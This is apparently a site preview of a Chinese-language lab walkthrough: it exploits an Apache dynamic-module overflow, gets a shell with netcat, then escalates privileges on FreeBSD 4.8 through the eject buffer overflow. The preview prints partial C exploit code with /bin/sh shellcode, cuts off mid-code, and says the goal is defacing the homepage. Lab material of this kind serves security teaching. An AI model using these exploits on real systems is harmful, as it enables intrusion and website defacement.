Apache动态模块的溢出漏洞.docVIP

  1. 1、本文档共15页,可阅读全部内容。
  2. 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  5. 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  6. 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  7. 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  8. 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
Apache动态模块的溢出漏洞

向远程Apache 发送精心构造的数据包以引发Apache 动态模块的溢出漏洞,进而打开一个监听端口接收连接。用nc工具连接远程端口获得shell,本地提权后,上传篡改后的主页。 1.下载实验中使用的工具:远程溢出工具 exbsd.exe、NetCat 1.11 for Windows (网络瑞士军刀)、Tftpd Server。 【说明】 ??远程溢出工具 exbsd.exe ????向远程Apache 发送精心构造的数据包以引发Apache 动态模块的溢出漏洞,进而打开一个监听端口接收连接。 ??NetCat 1.11 for Windows (网络瑞士军刀) ????一款小巧精悍的网络实用工具,常用来进行远程shell连接或被动接收连接以提供shell通道,或者用来作为小巧的telnet客户端使用。 ??Tftpd Server ????一款支持tftp协议的服务端工具,用以上传或下载文件(tftp 协议)。 实验步骤 访问目标主机的HTTP服务 步骤说明: 确保输入的协议及地址是正确的 1.打开浏览器,访问目标主机的 HTTP 服务,如:图1 图1 探测目标主机WEB服务信息 步骤说明: 输入 GET /abcdefg HTTP/1.0 并连续输入两次回车(Enter),可以从返回中获取服务器版本信息。 命令中的 abcdefg 是任意字符串,是不存在的页面,会引起404错误。 这么做的理由是 404错误的返回页面内容比较少,便于查看。 1.开启一个命令行窗口,用 nc.exe 程序连接目标主机的 80 端口 命令格式: nc.exe 目标IP 80 如:图2 图2 用 exbsd.exe 尝试远程溢出 步骤说明: 命令格式为 exbsd.exe -t 目标主机IP地址。 1.运行 exbsd.exe,如:图3 图3 注: 因apache服务为多进程服务,溢出程序可能需要尝试多次搜索地址空间,若失败,请多尝试几次。 溢出成功,用NetCat 连接 步骤说明: 命令格式为 nc.exe 目标主机IP地址 目标端口。 1.如:图4、图5,连接上以后,我们做如下操作: a). 用 id 命令看当前帐户信息,看到 uid=1001, gid=1001,是普通权限。 b). 用 w 命令看当前有谁在线,看到两个远程登录连接。 c). 用 pwd 命令看当前所在目录。 d). 用 uname -a 看当前操作系统的信息,看到是 FreeBSD 4.8 Release 版本,未打补丁。 e). 切换目录至 /tmp 下,准备编写提权程序。 图4 图5 提升权限 步骤说明: FreeBSD 老版本上的 eject 程序存在缓冲区溢出漏洞,可被本地程序利用以提升权限。 eject 程序具有suid 位,在有问题的版本中未对用户输入的参数进行有效检测, 导致溢出后eip指向精心构造的shellcode 入口,进而提权成功。 1.编写提权代码,如:图6 图6 图中所用代码如下: #include stdio.h #include stdlib.h #include string.h #include unistd.h #define BOF_LEN 1260 extern char** environ; int main( void ) { char buf[BOF_LEN]; char* ptr; char* arg[4]; unsigned int ret = 0xbfbfeead; char shellcode[] = \xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89 \x43\x0c\x50\x8d\x53\x08\x52\x53\xb0\x3b\x50\xcd \x80\xe8\xe4\xff\xff\xff/bin/sh; char envshell[4096]; memset( envshell, 0x90, 4096 ); memcpy( envshell + 4096 - strlen( shellcode ), shellcode, strlen( shellcode ) ); envshell[4096] = 0x0; memcpy( envshell, VULN=, 5 ); putenv( envshell ); memset( buf, 0x41, BOF_LEN - 1 ); *(unsigned int *)(buf + BOF_LEN - 5) = ret; *(buf + BOF_LEN - 1) = 0x0; arg[0] = /usr/loc

文档评论(0)

peain + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档